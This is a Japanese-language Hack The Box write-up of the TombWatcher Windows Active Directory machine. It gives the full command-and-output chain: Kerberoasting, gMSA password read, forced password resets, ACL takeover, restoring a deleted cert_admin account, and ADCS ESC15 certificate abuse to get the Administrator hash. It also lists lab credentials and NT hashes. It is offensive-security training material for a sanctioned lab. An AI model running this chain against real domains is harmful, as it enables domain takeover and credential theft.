HTB TombWatcher writeup
Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。
Summary
Section titled “Summary”TombWatcher は、初期資格情報から Active Directory の ACL を段階的にたどり、Kerberoasting、gMSA パスワード取得、ForceChangePassword、WriteOwner、AD Recycle Bin、ADCS ESC15/ESC17 を組み合わせて Administrator まで到達する Windows AD ボックスだった。最初は henry の資格情報が与えられており、BloodHound/RustHound で見えた権限関係を一つずつ検証しながら john の WinRM シェルを取得し、その後 ADCS OU に対する GenericAll から削除済み cert_admin を復元して、証明書経由で Administrator の NT hash を取得した。
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | TombWatcher |
| Platform | Hack The Box |
| OS | Windows |
| Difficulty | Medium |
Attack Chain
Section titled “Attack Chain”Operator with provided credential henry / H3nry_987TGV! | | LDAP/SMB enumeration + RustHound vtombwatcher.htb\henry | | WriteSPN on Alfred -> set SPN -> Kerberoast -> hashcat vtombwatcher.htb\alfred / basketball | | AddSelf to Infrastructure group vtombwatcher.htb\alfred as member of Infrastructure | | ReadGMSAPassword on ansible_dev$ vtombwatcher.htb\ansible_dev$ NTLM 47f92356b62e2b1c7b185df4842b63ad | | ForceChangePassword on sam vtombwatcher.htb\sam / HappyPwn2026! | | WriteOwner on john -> add GenericAll -> reset john password vtombwatcher.htb\john / HappyPwn3030! via WinRM | | GenericAll on OU=ADCS -> inspect Deleted Objects and template ACLs vDeleted cert_admin object with SID S-1-5-21-1392491010-1358638721-2126982587-1111 | | Restore-ADObject into OU=ADCS -> inherited john GenericAll -> reset password vtombwatcher.htb\cert_admin / HappyPwn4000! | | WebServer template enrollment + ESC15 request agent flow vadministrator.pfx for TOMBWATCHER\Administrator | | certipy auth -> Administrator NT hash vtombwatcher.htb\administrator via WinRM -> root.txtTarget Details
Section titled “Target Details”- Hostname:
DC01 - Domain:
tombwatcher.htb - DC FQDN:
DC01.tombwatcher.htb - Initial credential:
henry / H3nry_987TGV!
名前解決は次のように設定した。
10.129.27.153 DC01.tombwatcher.htb tombwatcher.htb DC01Nmap の実行コマンド自体は記録なし。保存された結果では Nmap 7.99 により全 TCP ポート相当のスキャンとサービス検出が行われていた。
PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus80/tcp open http Microsoft IIS httpd 10.088/tcp open kerberos-sec Microsoft Windows Kerberos135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb)445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP3268/tcp open ldap Microsoft Windows Active Directory LDAP3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP5985/tcp open http Microsoft HTTPAPI httpd 2.09389/tcp open mc-nmf .NET Message Framing49667/tcp open msrpc Microsoft Windows RPC49695/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.049696/tcp open msrpc Microsoft Windows RPC49698/tcp open msrpc Microsoft Windows RPC49716/tcp open msrpc Microsoft Windows RPC64733/tcp open msrpc Microsoft Windows RPCService Info: Host: DC01; OS: WindowsDomain SID S-1-5-21-1392491010-1358638721-2126982587clock-skew: mean: -4h00m02ssmb2-security-mode: Message signing enabled and required注目点:
88,389,636,3268,3269が開いているため、通常の Windows ホストではなく AD ドメインコントローラとして扱う。5985が開いているため、資格情報が取れた後は WinRM ログオン可否を確認する価値がある。9389は AD Web Services で、PowerShell の AD cmdlet を使う調査と相性がよい。- SMB signing は required なので、NTLM relay 系は主経路として期待しにくい。
- Kerberos を使うため、スキャナ側と DC の時刻差を先に直す必要がある。
Kerberos の時刻ずれは ntpdate で補正した。
sudo ntpdate tombwatcher.htbCLOCK: time stepped by -14402.192629Initial Enumeration
Section titled “Initial Enumeration”最初の資格情報 henry / H3nry_987TGV! は SMB で有効だった。
nxc smb 10.129.27.153 -u henry -p 'H3nry_987TGV!'SMB 10.129.27.153 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!LDAP からユーザー、グループ、コンピュータ、Domain SID を列挙した。
nxc ldap tombwatcher.htb -u henry -p 'H3nry_987TGV!' --users --groups --computers --get-sid[*] Enumerated 7 domain users: tombwatcher.htbAdministratorGuestkrbtgtHenryAlfredsamjohn[*] Total records returned: 2DC01$ansible_dev$Domain SID S-1-5-21-1392491010-1358638721-2126982587SMB 側では通常の DC 共有だけが読めた。RID brute で、後続で使う主要 SID も確認できた。
nxc smb 10.129.27.153 -u henry -p 'H3nry_987TGV!' --shares --rid-bruteShare PermissionsIPC$ READNETLOGON READSYSVOL READ1103: TOMBWATCHER\Henry1104: TOMBWATCHER\Alfred1105: TOMBWATCHER\sam1106: TOMBWATCHER\john1107: TOMBWATCHER\Infrastructure1108: TOMBWATCHER\ansible_dev$ここまでで、Web ではなく AD ACL と Kerberos を中心に進めるべきターゲットだと判断した。
AD Graph Enumeration
Section titled “AD Graph Enumeration”RustHound-CE で AD グラフを収集した。
rusthound-ce -d tombwatcher.htb -f dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' -c All --zipConnected to TOMBWATCHER.HTB Active Directory!9 users parsed61 groups parsed1 computers parsed2 ous parsed2 gpos parsed33 certtemplates parsed1 enterprisecas parsed重要だった関係は次の通り。
henryはAlfredにWriteSPNAlfredはInfrastructureグループにAddSelfInfrastructureはansible_dev$にReadGMSAPasswordansible_dev$はsamにForceChangePasswordsamはjohnにWriteOwnerjohnはOU=ADCSにGenericAll
BloodHound のエッジをそのまま信じるだけでなく、LDAP のセキュリティ記述子を確認する観点も残しておく。通常属性ではなく DACL の ACE に根拠があるため、例えば Henry -> Alfred WriteSPN は Alfred 側の nTSecurityDescriptor に、Infrastructure -> ansible_dev$ ReadGMSAPassword は ansible_dev$ の msDS-GroupMSAMembership に根拠が出る。
Henry to Alfred: WriteSPN and Kerberoasting
Section titled “Henry to Alfred: WriteSPN and Kerberoasting”henry には Alfred の SPN を変更する権限があった。状態変更として、Alfred に SPN を追加した。
bloodyad -d tombwatcher.htb -k --host dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' set object alfred servicePrincipalName -v 'http/tombwatcher.htb'[+] alfred's servicePrincipalName has been updatedSPN が設定されたため、Kerberoasting で TGS を取得した。
nxc ldap tombwatcher.htb -u henry -p 'H3nry_987TGV!' --kerberoasting[*] sAMAccountName: Alfred, memberOf: [], pwdLastSet: 2025-05-13 00:17:03.526670, lastLogon: <never>$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$...取得した TGS hash は hashcat で即座に割れた。
hashcat <alfred_tgs_hash_file> /usr/share/wordlists/rockyou.txtHash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)Status...........: Cracked$krb5tgs$23$*Alfred$...:basketballこれで alfred / basketball を得た。ただし、この時点では WinRM はできなかった。
nxc winrm dc01.tombwatcher.htb -u alfred -p 'basketball' -d tombwatcher.htb[-] tombwatcher.htb\alfred:basketball一方 SMB 認証では alfred が有効であることを確認できた。
nxc smb dc01.tombwatcher.htb -u alfred -p 'basketball' -d tombwatcher.htb[+] tombwatcher.htb\alfred:basketballAlfred to ansible_dev$: AddSelf and gMSA
Section titled “Alfred to ansible_dev$: AddSelf and gMSA”BloodHound の AddSelf に従い、alfred を Infrastructure グループに追加した。これは状態変更である。
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p 'basketball' add groupMember INFRASTRUCTURE alfred[+] alfred added to INFRASTRUCTUREInfrastructure は ansible_dev$ の gMSA パスワードを読めるため、alfred の現在のグループ権限で gMSA hash を取得した。
nxc ldap dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p 'basketball' --gmsa[+] tombwatcher.htb\alfred:basketball[*] Getting GMSA PasswordsAccount: ansible_dev$ NTLM: 47f92356b62e2b1c7b185df4842b63ad PrincipalsAllowedToReadPassword: Infrastructureこれで ansible_dev$ の NTLM hash を得た。gMSA は通常のユーザーパスワードではなく、対象オブジェクトの msDS-ManagedPassword を読む権限があるかどうかがポイントになる。
ansible_dev$ to john: Password Reset Chain
Section titled “ansible_dev$ to john: Password Reset Chain”BloodHound では ansible_dev$ が sam に ForceChangePassword を持っていた。ansible_dev$ の NTLM hash を使い、sam のパスワードをリセットした。これは状態変更である。
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u ansible_dev$ -p :47f92356b62e2b1c7b185df4842b63ad set password sam 'HappyPwn2026!'[+] Password changed successfully!リセット後、SMB 認証で sam の資格情報を確認した。
nxc smb dc01.tombwatcher.htb -u sam -p HappyPwn2026! -d tombwatcher.htb[+] tombwatcher.htb\sam:HappyPwn2026!次に sam は john に対して WriteOwner を持っていた。所有者を書き換え、続けて GenericAll を付与した。これも状態変更である。
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p HappyPwn2026! set owner john sambloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p HappyPwn2026! add genericAll john sam[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john[+] sam has now GenericAll on johnjohn に対する GenericAll を得たので、john のパスワードをリセットした。
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p HappyPwn2026! set password john 'HappyPwn3030!'[+] Password changed successfully!john は Remote Management Users に属していたため、WinRM が可能だった。
nxc winrm dc01.tombwatcher.htb -u john -p HappyPwn3030! -d tombwatcher.htb[+] tombwatcher.htb\john:HappyPwn3030! (Pwn3d!)WinRM でログインし、user flag を取得した。
evil-winrm-py -i dc01.tombwatcher.htb -u john -p HappyPwn3030!evil-winrm-py PS C:\Users\john\Desktop> type user.txt[REDACTED]ADCS OU Enumeration
Section titled “ADCS OU Enumeration”john での BloodHound 結果では、john が ADCS@TOMBWATCHER.HTB という OU に GenericAll を持っていた。ここで OU を調べた理由は、GenericAll が「OU 配下のオブジェクト作成・属性変更・ACL 継承」につながる可能性を示しており、ADCS という名前から証明書関連のユーザーや管理用オブジェクトが存在した可能性が高かったためである。まず対象 OU の実体を確認した。
Get-ADOrganizationalUnit ` -Identity "OU=ADCS,DC=tombwatcher,DC=htb" ` -Properties *DistinguishedName : OU=ADCS,DC=tombwatcher,DC=htbName : ADCSProtectedFromAccidentalDeletion : TrueOU 直下に通常の子オブジェクトがあるか確認したが、結果は空だった。
Get-ADObject ` -SearchBase "OU=ADCS,DC=tombwatcher,DC=htb" ` -SearchScope OneLevel ` -Filter * | Select-Object Name, ObjectClass, DistinguishedNameこの通常検索で何も出なかった理由は、現在有効な子オブジェクトが OU 直下に存在しなかったためである。ただし、これは「過去に何もなかった」ことを意味しない。AD Recycle Bin が有効な環境では、削除済みオブジェクトは通常検索の対象外になり、CN=Deleted Objects 側に移動する。そのため、この時点で IncludeDeletedObjects を使った削除済みオブジェクト検索が必要になる。
Get-GPInheritance では Default Domain Policy が見えた。
Get-GPInheritance -Target "OU=ADCS,DC=tombwatcher,DC=htb"Name : adcsContainerType : OUGpoInheritanceBlocked : NoGpoLinks : {}InheritedGpoLinks : {Default Domain Policy}ここで一度 GPO 経由を疑ったが、GpoLinks : {} であり、Default Domain Policy はドメインルートから継承されているだけだった。OU への GenericAll は OU オブジェクトや gPLink 属性を操作できる可能性を示すが、GPO 本体の Group Policy Container と SYSVOL 側の Group Policy Template を編集できることまでは意味しない。したがって、この線は主経路から外した。
OU の ACL では john の GenericAll を確認できた。
$dn = "OU=ADCS,DC=tombwatcher,DC=htb"(Get-Acl "AD:$dn").Access | Format-Table IdentityReference, ActiveDirectoryRights, AccessControlType, IsInheritedIdentityReference ActiveDirectoryRights AccessControlTypeTOMBWATCHER\john GenericAll AllowTOMBWATCHER\Domain Admins GenericAll AllowNT AUTHORITY\SYSTEM GenericAll Allowこの時点で重要なのは、「空の OU」ではなく「過去にこの OU に何かが存在した可能性」だった。OU 名が ADCS で、証明書テンプレートも見えているため、削除済みオブジェクトを探す方向に切り替えた。
Deleted Objects and cert_admin Selection
Section titled “Deleted Objects and cert_admin Selection”AD Recycle Bin が有効か確認した。
Get-ADOptionalFeature -Filter 'Name -like "Recycle Bin Feature"' | Format-List Name, EnabledScopesName : Recycle Bin FeatureEnabledScopes : {CN=Partitions,CN=Configuration,DC=tombwatcher,DC=htb, ...}OU=ADCS を lastKnownParent に持つ削除済みオブジェクトを検索した。ここで -IncludeDeletedObjects が必要なのは、削除済みオブジェクトが通常の LDAP/AD 検索結果からは除外されるためである。lastKnownParent は削除前に所属していたコンテナを示すため、空だった OU=ADCS に過去存在したオブジェクトを逆引きできる。
Get-ADObject ` -IncludeDeletedObjects ` -LDAPFilter '(&(isDeleted=TRUE)(lastKnownParent=OU=ADCS,DC=tombwatcher,DC=htb))' ` -Properties lastKnownParent,msDS-LastKnownRDN,isRecycled,whenChanged,objectClass,sAMAccountName | Format-List Name,ObjectGUID,ObjectClass,sAMAccountName,lastKnownParent,msDS-LastKnownRDN,isRecycled,whenChanged,DistinguishedNameName : cert_admin DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3ObjectGUID : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3ObjectClass : usersAMAccountName : cert_adminlastKnownParent : OU=ADCS,DC=tombwatcher,DC=htbmsDS-LastKnownRDN : cert_adminisRecycled :
Name : cert_admin DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358ObjectGUID : c1f1f0fe-df9c-494c-bf05-0679e181b358ObjectClass : usersAMAccountName : cert_adminlastKnownParent : OU=ADCS,DC=tombwatcher,DC=htbmsDS-LastKnownRDN : cert_adminisRecycled :
Name : cert_admin DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebfObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebfObjectClass : usersAMAccountName : cert_adminlastKnownParent : OU=ADCS,DC=tombwatcher,DC=htbmsDS-LastKnownRDN : cert_adminisRecycled :3つとも cert_admin で、isRecycled は空だった。AD Recycle Bin では isDeleted=True かつ isRecycled が空のオブジェクトは、まだ復元対象として扱える。さらに lastKnownParent と msDS-LastKnownRDN が残っているため、Restore-ADObject で元の OU と名前に戻せる見込みがある。
ここで同名の cert_admin ユーザーを新規作成するだけでは不十分である。AD の ACL は表示名や sAMAccountName ではなく SID を参照するため、新規作成された同名ユーザーには新しい SID が割り当てられる。証明書テンプレート ACL に残っているのは削除前の cert_admin の SID であり、その SID を持つオブジェクトを復元しない限り、テンプレート上の権限は有効化されない。
ただし、どの cert_admin を復元すべきかはまだ決まらない。各候補の memberOf はすべて空で、グループ membership では差が出なかった。
Get-ADObject -Identity '938182c3-bf0b-410a-9aaa-45c8e1a02ebf' -IncludeDeletedObjects ` -Properties memberOf,adminCount,userAccountControl,nTSecurityDescriptor | Format-List Name,ObjectGUID,memberOf,adminCount,userAccountControlName : cert_admin DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebfObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebfmemberOf : {}adminCount :userAccountControl : 66048差分を SID から探すため、3つの削除済み cert_admin の SID を証明書テンプレート ACL と突き合わせた。
$sids = @( "S-1-5-21-1392491010-1358638721-2126982587-1109", "S-1-5-21-1392491010-1358638721-2126982587-1110", "S-1-5-21-1392491010-1358638721-2126982587-1111")$config = (Get-ADRootDSE).configurationNamingContext$base = "CN=Certificate Templates,CN=Public Key Services,CN=Services,$config"
Get-ADObject ` -SearchBase $base ` -LDAPFilter "(objectClass=pKICertificateTemplate)" |ForEach-Object { $template = $_ $acl = Get-Acl "AD:$($template.DistinguishedName)"
foreach ($ace in $acl.Access) { try { $sid = $ace.IdentityReference.Translate( [System.Security.Principal.SecurityIdentifier] ).Value } catch { $sid = $ace.IdentityReference.Value }
if ($sid -in $sids) { [PSCustomObject]@{ Template = $template.Name SID = $sid Rights = $ace.ActiveDirectoryRights Type = $ace.AccessControlType ObjectType = $ace.ObjectType InheritanceType = $ace.InheritanceType } } }} | Format-ListTemplate : WebServerSID : S-1-5-21-1392491010-1358638721-2126982587-1111Rights : GenericReadType : AllowObjectType : 00000000-0000-0000-0000-000000000000InheritanceType : None
Template : WebServerSID : S-1-5-21-1392491010-1358638721-2126982587-1111Rights : ReadProperty, WriteProperty, ExtendedRightType : AllowObjectType : 0e10c968-78fb-11d2-90d4-00c04f79dc55InheritanceType : None0e10c968-78fb-11d2-90d4-00c04f79dc55 が何を意味するか確認した。
Get-ADObject ` -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).configurationNamingContext)" ` -LDAPFilter "(rightsGuid=0e10c968-78fb-11d2-90d4-00c04f79dc55)" ` -Properties displayName,rightsGuid | Format-List Name,displayName,rightsGuidName : Certificate-EnrollmentdisplayName : EnrollrightsGuid : 0e10c968-78fb-11d2-90d4-00c04f79dc55これで復元すべき候補は ObjectGUID 938182c3-bf0b-410a-9aaa-45c8e1a02ebf、objectSid S-1-5-21-1392491010-1358638721-2126982587-1111 と判断できた。理由は、3世代の cert_admin のうち S-...-1111 だけが WebServer テンプレート ACL に現れ、さらに ObjectType 0e10c968-78fb-11d2-90d4-00c04f79dc55 が Certificate-Enrollment、つまり Enroll 権限だと確認できたためである。単に最新の whenChanged だから選んだのではなく、「ADCS テンプレート ACL が参照している SID」を根拠に選んだ。
Restoring cert_admin
Section titled “Restoring cert_admin”復元対象を再確認した。
$guid = "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"$deleted = Get-ADObject ` -Identity $guid ` -IncludeDeletedObjects ` -Properties objectSid,lastKnownParent,msDS-LastKnownRDN,isDeleted,isRecycled
$deleted | Format-List Name,ObjectGUID,objectSid,lastKnownParent,msDS-LastKnownRDN,isDeleted,isRecycledName : cert_admin DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebfObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebfobjectSid : S-1-5-21-1392491010-1358638721-2126982587-1111lastKnownParent : OU=ADCS,DC=tombwatcher,DC=htbmsDS-LastKnownRDN : cert_adminisDeleted : TrueisRecycled :Restore-ADObject で復元した。これは状態変更である。
$deleted | Restore-ADObject復元後、SID と DN が期待通りであることを確認した。
Get-ADUser cert_admin -Properties objectSid,Enabled | Format-List SamAccountName,ObjectSid,EnabledSamAccountName : cert_adminObjectSid : S-1-5-21-1392491010-1358638721-2126982587-1111Enabled : TrueGet-ADUser ` -LDAPFilter "(sAMAccountName=cert_admin)" ` -ErrorAction SilentlyContinueDistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htbEnabled : TrueObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebfSamAccountName : cert_adminSID : S-1-5-21-1392491010-1358638721-2126982587-1111SID が維持された理由は、Restore-ADObject が同名ユーザーを新規作成する操作ではなく、Deleted Objects に残っていた元のオブジェクトを復元する操作だからである。AD Recycle Bin で復元可能な状態のオブジェクトは、削除前の objectGUID や objectSid を保持しており、復元後もそれが再利用される。ここでは復元後の ObjectGUID と SID が削除済み状態の値と一致したことで、その前提を確認できた。
復元しただけでは cert_admin のパスワードは分からない。そこで、復元されたユーザーオブジェクトに john の権限が継承されているか確認した。
$certAdmin = Get-ADUser ` -Identity "cert_admin" ` -Properties objectSid,Enabled,userAccountControl,DistinguishedName$userDn = $certAdmin.DistinguishedName
(Get-Acl "AD:$userDn").Access | Where-Object { $_.IdentityReference -eq "TOMBWATCHER\john" } | Format-List IdentityReference,ActiveDirectoryRights,AccessControlType,ObjectType,InheritanceType,IsInheritedIdentityReference : TOMBWATCHER\johnActiveDirectoryRights : GenericAllAccessControlType : AllowObjectType : 00000000-0000-0000-0000-000000000000InheritanceType : AllIsInherited : Truejohn の GenericAll が OU=ADCS から復元後の cert_admin に継承されていた。これにより john から cert_admin のパスワードをリセットできる。
$newPassword = ConvertTo-SecureString ` "HappyPwn4000!" ` -AsPlainText ` -Force
Set-ADAccountPassword ` -Identity $certAdmin ` -Reset ` -NewPassword $newPassword
Enable-ADAccount -Identity $certAdminUnlock-ADAccount -Identity $certAdmin -ErrorAction SilentlyContinue確認結果:
Get-ADUser cert_admin -Properties Enabled,userAccountControl | Format-ListDistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htbEnabled : TrueObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebfSamAccountName : cert_adminSID : S-1-5-21-1392491010-1358638721-2126982587-1111userAccountControl : 66048ここがこのボックスで最も詰まりやすい箇所だった。cert_admin はグループ membership で特権を持っていたのではなく、削除済み SID が証明書テンプレート ACL に直接残っていた。したがって、復元対象は「名前が cert_admin のどれか」ではなく、「WebServer テンプレート ACL が参照している SID を持つ cert_admin」だった。
ADCS Exploitation
Section titled “ADCS Exploitation”最初に john で Certipy を実行した時点では、CA 自体は見えたが脆弱テンプレートは列挙されなかった。
certipy find -u john -p HappyPwn3030! -dc-ip 10.129.27.153 -target tombwatcher.htb -vulnerable -stdoutCA Name : tombwatcher-CA-1DNS Name : DC01.tombwatcher.htbRequest Disposition : IssueEnroll : TOMBWATCHER.HTB\Authenticated UsersCertificate Templates : [!] Could not find any certificate templatesこれは Certipy が壊れていたというより、john 自身が脆弱な WebServer テンプレートの enrollment principal ではなかったためである。-vulnerable は現在の認証主体から見て悪用可能なテンプレートを中心に出すため、john では cert_admin の SID に紐づくテンプレート権限を直接利用できない。代替調査として、PowerShell で CN=Certificate Templates,CN=Public Key Services,... 配下のテンプレート ACL を読み、削除済み cert_admin の SID が残っていないかを直接突き合わせた。その結果 S-...-1111 が WebServer の Enroll 権限を持つことが分かり、cert_admin 復元へつながった。
cert_admin で Certipy を実行すると、john では見えなかった脆弱な WebServer テンプレートが見えるようになった。
certipy find -u cert_admin -p 'HappyPwn4000!' -dc-ip 10.129.27.153 -target tombwatcher.htb -vulnerable -stdoutCA Name : tombwatcher-CA-1DNS Name : DC01.tombwatcher.htbRequest Disposition : IssueEnroll : TOMBWATCHER.HTB\Authenticated Users
Template Name : WebServerDisplay Name : Web ServerCertificate Authorities : tombwatcher-CA-1Enabled : TrueClient Authentication : FalseEnrollment Agent : FalseEnrollee Supplies Subject : TrueExtended Key Usage : Server AuthenticationRequires Manager Approval : FalseAuthorized Signatures Required : 0Schema Version : 1Enrollment Rights : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Enterprise Admins TOMBWATCHER.HTB\cert_adminWrite Property Enroll : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Enterprise Admins TOMBWATCHER.HTB\cert_admin[+] User Enrollable Principals : TOMBWATCHER.HTB\cert_admin[!] Vulnerabilities ESC15 : Enrollee supplies subject and schema version is 1. ESC17 : Enrollee supplies subject and template allows server authentication.まず WebServer テンプレートから Certificate Request Agent の application policy を持つ証明書を取得した。
certipy req \ -u 'cert_admin' -p 'HappyPwn4000!' \ -dc-ip 10.129.27.153 -target dc01.tombwatcher.htb \ -ca 'tombwatcher-CA-1' -template 'WebServer' \ -application-policies 'Certificate Request Agent'[*] Requesting certificate via RPC[*] Request ID is 5[*] Successfully requested certificate[*] Got certificate without identity[*] Certificate has no object SID[*] Saving certificate and private key to 'cert_admin.pfx'[*] Wrote certificate and private key to 'cert_admin.pfx'ここで得た cert_admin.pfx は ID を持つログオン用証明書ではなく、後続の代理要求に使うための証明書として扱う。
一度、FQDN 形式のドメイン名と WebServer テンプレートで Administrator 代理要求を試したが、認証に使える ID が入らなかった。
certipy req \ -u 'cert_admin' -p 'HappyPwn4000!' \ -dc-ip 10.129.27.153 -target dc01.tombwatcher.htb \ -ca 'tombwatcher-CA-1' -template 'WebServer' \ -pfx 'cert_admin.pfx' -on-behalf-of 'TOMBWATCHER.HTB\Administrator'[!] Domain part of '-on-behalf-of' should not be a FQDN[*] Request ID is 6[*] Got certificate without identity[*] Certificate has no object SID[*] Wrote certificate and private key to 'administrator.pfx'その証明書で認証しようとしても失敗した。
certipy auth -pfx administrator.pfx -dc-ip 10.129.27.153[*] Certificate identities:[*] No identities found in this certificate[!] Could not find identity in the provided certificate[-] Username or domain is not specified, and identity information was not found in the certificateこの失敗から、証明書に UPN/SID が入っているかを必ず確認する必要があると分かる。次に WebServer テンプレートへ UPN と SID を明示する形も試した。これは証明書に Administrator の UPN/SID を入れられることの確認にはなったが、最終的な主経路は後述の代理要求にした。
certipy req \ -u 'cert_admin' -p 'HappyPwn4000!' \ -dc-ip 10.129.27.153 -target dc01.tombwatcher.htb \ -ca 'tombwatcher-CA-1' -template 'WebServer' \ -upn administrator@TOMBWATCHER.HTB \ -sid 'S-1-5-21-1392491010-1358638721-2126982587-500' \ -application-policies 'Certificate Request Agent'[*] Requesting certificate via RPC[*] Request ID is 8[*] Successfully requested certificate[*] Got certificate with UPN 'administrator@TOMBWATCHER.HTB'[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'[*] Wrote certificate and private key to 'administrator.pfx'最終的には、cert_admin.pfx を代理証明書として使い、User テンプレートで TOMBWATCHER\Administrator の証明書を要求した。
certipy req \ -u 'cert_admin' -p 'HappyPwn4000!' \ -dc-ip 10.129.27.153 -target dc01.tombwatcher.htb \ -ca 'tombwatcher-CA-1' -template 'User' \ -pfx 'cert_admin.pfx' -on-behalf-of 'TOMBWATCHER\Administrator'[*] Requesting certificate via RPC[*] Request ID is 10[*] Successfully requested certificate[*] Got certificate with UPN 'Administrator@tombwatcher.htb'[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'[*] Saving certificate and private key to 'administrator.pfx'[*] Wrote certificate and private key to 'administrator.pfx'administrator.pfx には Administrator の UPN と SID が入っているため、Certipy で Kerberos 認証し、NT hash を取得できた。
certipy auth -pfx administrator.pfx -dc-ip 10.129.27.153[*] Certificate identities:[*] SAN UPN: 'Administrator@tombwatcher.htb'[*] Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'[*] Using principal: 'administrator@tombwatcher.htb'[*] Trying to get TGT...[*] Got TGT[*] Saving credential cache to 'administrator.ccache'[*] Trying to retrieve NT hash for 'administrator'[*] Got hash for 'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fcAdministrator Access
Section titled “Administrator Access”取得した NT hash で WinRM にログインした。
evil-winrm-py -i dc01.tombwatcher.htb -u administrator -H f61db423bebe3328d33af26741afe5fc[*] Connecting to 'dc01.tombwatcher.htb:5985' as 'administrator'evil-winrm-py PS C:\Users\Administrator\Documents> whoamitombwatcher\administratorroot flag を取得した。
evil-winrm-py PS C:\Users\Administrator\Desktop> type root.txt[REDACTED]Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”OU=ADCSにDefault Domain Policyが影響している表示は、GPO を編集できることを意味しなかった。GpoLinksは空で、InheritedGpoLinksに見えていただけだった。OU=ADCSは空だったため、通常の子ユーザーやコンピュータを操作する方向では進まなかった。Deleted Objects を見る必要があった。- 削除済み
cert_adminは3つあり、memberOfは全て空だった。グループ membership ではなく、証明書テンプレート ACL が参照している SID を基準に選ぶ必要があった。 johnでcertipy find -vulnerableを実行しても、脆弱テンプレートは見えなかった。cert_adminの SID にテンプレート権限が付いていたため、復元後に再実行する必要があった。- 最初の
-on-behalf-of 'TOMBWATCHER.HTB\Administrator'は FQDN ドメイン指定で警告が出て、証明書に ID が入らなかった。certipy authの “No identities found” を見て失敗と判断した。
Cleanup Notes
Section titled “Cleanup Notes”-
AlfredのservicePrincipalName- 変更内容:
http/tombwatcher.htbを追加。 - 元の状態: 記録なし。
- 復旧:
AlfredのservicePrincipalNameからhttp/tombwatcher.htbを削除する。 - 検証: 未確認。
- 変更内容:
-
Infrastructureグループ membership- 変更内容:
alfredをInfrastructureに追加。 - 元の状態:
alfredは未所属。 - 復旧:
Infrastructureからalfredを削除する。 - 検証: 未確認。
- 変更内容:
-
samのパスワード- 変更内容:
HappyPwn2026!にリセット。 - 元の状態: 記録なし。
- 復旧: 元パスワード不明のため、管理者権限で既知の安全な値に再設定、またはラボリセット。
- 検証: 未確認。
- 変更内容:
-
johnの owner / DACL / パスワード- 変更内容: owner を
samに変更し、samにGenericAllを追加し、HappyPwn3030!にリセット。 - 元の owner:
S-1-5-21-1392491010-1358638721-2126982587-512、つまりDomain Admins。 - 復旧: owner を
Domain Adminsに戻し、johnの DACL からsamのGenericAllACE を削除し、パスワードを元に戻す。元パスワードは記録なし。 - 検証: 未確認。
- 変更内容: owner を
-
cert_adminの復元とパスワード- 変更内容: 削除済み
ObjectGUID 938182c3-bf0b-410a-9aaa-45c8e1a02ebfを復元し、HappyPwn4000!にリセット。必要に応じて有効化・unlock も実施。 - 元の状態:
CN=Deleted Objects配下の削除済みユーザー。 - 復旧: ラボを元状態に戻すには
cert_adminを再削除するか、マシンをリセットする。 - 検証: 未確認。
- 変更内容: 削除済み
-
ADCS 証明書要求
- 変更内容: Request ID
5,6,8,10が発行された。 - 生成物:
cert_admin.pfx,administrator.pfx,administrator.ccache。 - 復旧: CA 管理権限がある場合は該当要求・証明書を失効し、ローカルの PFX/ccache を削除する。
- 検証: 未確認。
- 変更内容: Request ID
Credentials and Artifacts
Section titled “Credentials and Artifacts”-
henry / H3nry_987TGV!- 入手元: ボックス開始時に与えられた初期資格情報。
- 初回使用: SMB/LDAP 列挙。
- 可能にしたこと:
WriteSPN経由でAlfredを Kerberoast する起点。
-
alfred / basketball- 入手元:
henryによるAlfredへの SPN 追加後、Kerberoasting した TGS hash を hashcat でクラック。 - 初回使用: SMB 認証確認、その後
InfrastructureへのAddSelf。 - 可能にしたこと:
Infrastructuremembership によるansible_dev$gMSA hash 取得。
- 入手元:
-
ansible_dev$ : 47f92356b62e2b1c7b185df4842b63ad- 入手元:
alfredがInfrastructureメンバーになった後、nxc ldap --gmsaで取得。 - 初回使用:
